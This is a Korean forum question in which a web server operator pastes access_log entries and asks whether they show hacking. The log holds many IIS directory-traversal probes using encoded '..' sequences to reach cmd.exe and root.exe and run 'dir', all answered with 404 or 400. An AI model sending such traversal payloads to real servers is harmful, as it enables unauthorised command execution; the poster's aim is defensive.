access_log에 이런 내용이...

access_log 를 열어보면 이런 내용이 있습니다...

211.55.160.* - - [19/Jan/2003:04:23:41 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
211.55.160.* - - [19/Jan/2003:04:23:42 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
211.55.160.* - - [19/Jan/2003:04:23:47 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
211.55.160.* - - [19/Jan/2003:04:23:52 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
211.55.160.* - - [19/Jan/2003:04:23:58 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
211.55.160.* - - [19/Jan/2003:04:24:02 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir $
211.55.160.* - - [19/Jan/2003:04:24:04 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir $
211.55.160.* - - [19/Jan/2003:04:24:07 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../wi$
211.55.160.* - - [19/Jan/2003:04:24:09 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
211.55.160.* - - [19/Jan/2003:04:24:11 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
211.55.160.* - - [19/Jan/2003:04:24:12 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
211.55.160.* - - [19/Jan/2003:04:24:14 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
211.55.160.* - - [19/Jan/2003:04:24:17 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
211.55.160.* - - [19/Jan/2003:04:24:19 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
211.55.160.* - - [19/Jan/2003:04:24:22 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
211.55.160.* - - [19/Jan/2003:04:24:24 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232

다른 아이피로도 이런 내용이 많이 있어서여~ ㅡㅡ;

혹시 해킹인가 해서 질문 올립니다..

아시는 분은 답변 좀... ^  ^;